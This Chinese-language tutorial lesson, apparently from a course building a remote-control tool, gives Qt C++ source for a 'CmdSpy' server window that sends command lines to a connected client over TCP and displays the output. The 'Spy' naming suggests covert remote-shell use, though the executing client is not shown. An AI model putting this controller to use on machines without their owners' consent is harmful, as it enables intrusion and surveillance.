命令行控制
这是我们课程的最后一个功能了,下一节就总结了。
效果图:
这一节编写服务端:
CmdSpy类:
1.创建一个CmdSpy类来发送cmd指令给客户端。
代码:
cmdspy.h
/* * Author: sumkee911@gmail.com * Date: 2016-12-24 * Brief: 发送Cmd命令给客户端 * */ #ifndef CMDSPY_H #define CMDSPY_H #include <QWidget> #include <QApplication> #include <QDesktopWidget> #include <QTextEdit> #include "tcpsocket.h" #include "tcpserver.h" #include <QLineEdit> #include <QScrollBar> class CmdSpy : public QWidget { Q_OBJECT public: explicit CmdSpy(QWidget *parent = 0); // 客户端发送到服务端的指令 const QByteArray CmdPWD= "PWD"; // 当前文件位置 // 结束符号 const QByteArray CmdSplit = ";"; const QByteArray CmdEnd = "\r\n"; // 开始Cmd控制服务器,然后返回新的端口号 int startCmdSpyServer(QString userName); private: TcpServer *mServer; // 服务端 TcpSocket *mSock; // 客户socket QTextEdit *mCmdRet; // 显示框 QLineEdit *mCmdEdit; // 输入和发送cmd指令 QString _curRet; // 保存所有返回值 // 发送指令 void sendCommand(QString cmd); // 把返回数据加到edit框 void addRetValue(QString retValue); signals: public slots: // 有新客户连接 void newConnection(QTcpSocket *s); // 处理新数据 void processBuffer(); // 输入文本变化 void textChanged(); // 按了enter后就代表有新cmd指令需要发送 void newCommand(); protected: // 大小重置 void resizeEvent(QResizeEvent *); // 关闭 void closeEvent(QCloseEvent *); }; #endif // CMDSPY_Hcmdspy.cpp
#include "cmdspy.h" CmdSpy::CmdSpy(QWidget *parent) : QWidget(parent), mSock(0), mCmdRet(0) { // 初始化窗口 const int w = 800, h = 550; const int x = (QApplication::desktop()->width() - w) >> 1; const int y = (QApplication::desktop()->height() - h) >> 1; this->setGeometry(x, y, w, h); // 初始化编辑框 mCmdRet = new QTextEdit(this); mCmdRet->setGeometry(0 , 0 , w, h-25); mCmdRet->setStyleSheet("QTextEdit {background: black; color: white;}"); mCmdRet->setReadOnly(true); // 初始化话发送指令编辑框 mCmdEdit= new QLineEdit(this); mCmdEdit->setGeometry(0 , h-mCmdRet->height() , w, 25); mCmdEdit->setStyleSheet("QLineEdit {background: blue; color: white;}"); mCmdEdit->setFocus(); connect(mCmdEdit, SIGNAL(textChanged(QString)), this, SLOT(textChanged())); connect(mCmdEdit, SIGNAL(returnPressed()), this, SLOT(newCommand())); } int CmdSpy::startCmdSpyServer(QString userName) { // 设置窗口标题 this->setWindowTitle(userName.append("-Cmd控制")); // 开启新的服务端 mServer = new TcpServer(this); connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newConnection(QTcpSocket*))); mServer->start(0); if (!mServer->server()->isListening()) { qDebug() << "开启Cmd控制服务端失败"; deleteLater(); return -1; } // 开启监控窗口 this->show(); return mServer->server()->serverPort(); } void CmdSpy::sendCommand(QString cmd) { if (mSock) { cmd.append(CmdEnd); mSock->write(cmd.toLocal8Bit()); } } void CmdSpy::addRetValue(QString retValue) { if (mCmdRet) { _curRet.append(retValue); mCmdRet->clear(); mCmdRet->setText(_curRet); // 滚动到显示框底部 QScrollBar *scrollbar = mCmdRet->verticalScrollBar(); scrollbar->setSliderPosition(scrollbar->maximum()); } } void CmdSpy::newConnection(QTcpSocket *s) { // 新增客户 mSock = new TcpSocket(s, this); connect(mSock, SIGNAL(newData()), this, SLOT(processBuffer())); connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater())); // 获取路径 sendCommand(""); // 不再监听新客户 mServer->server()->close(); } void CmdSpy::processBuffer() { // 从socket里获取缓存区 QByteArray *buf = mSock->buffer(); int endIndex; while ((endIndex = buf->indexOf(CmdEnd)) > -1) { // 提取一行指令 QByteArray retValue = buf->mid(0, endIndex); buf->remove(0, endIndex + CmdEnd.length()); if (retValue.mid(0, CmdPWD.size()) == CmdPWD) { // 处理当前位置 retValue = retValue.mid(CmdPWD.size()+CmdSplit.size(), retValue.size()-CmdPWD.size()-CmdSplit.size()); addRetValue("\r\n"+QString::fromLocal8Bit(retValue.append("> "))); } else { // 处理指令返回值 addRetValue(QString::fromLocal8Bit(retValue) + "\r\n"); } } } void CmdSpy::textChanged() { // 更改显示框 mCmdRet->setText(_curRet + mCmdEdit->text()); // 滚动到显示框底部 QScrollBar *scrollbar = mCmdRet->verticalScrollBar(); scrollbar->setSliderPosition(scrollbar->maximum()); } void CmdSpy::newCommand() { QString cmd = mCmdEdit->text(); // 更改显示框 addRetValue(cmd+"\r\n"); // 发送指令 sendCommand(cmd); // 清空编辑框 mCmdEdit->setText(""); // 如果cmd等于clear,就清空显示框 if (cmd.toUpper() == "CLEAR") { mCmdRet->clear(); _curRet = ""; } } void CmdSpy::resizeEvent(QResizeEvent *) { if (mCmdRet && mCmdEdit) { mCmdRet->setGeometry(0,0,width(),height() - 25); mCmdEdit->setGeometry(0 , height() - 25 , width(), 25); } } void CmdSpy::closeEvent(QCloseEvent *) { deleteLater(); }
BUG修改:
ZeroServer的Widget.cpp的函数currentClientIdFromTable()修改为:
int index = mClientTable->currentRow(); if (index == -1) { return -1; } return mClientTable->item(index, 0)->text().toInt();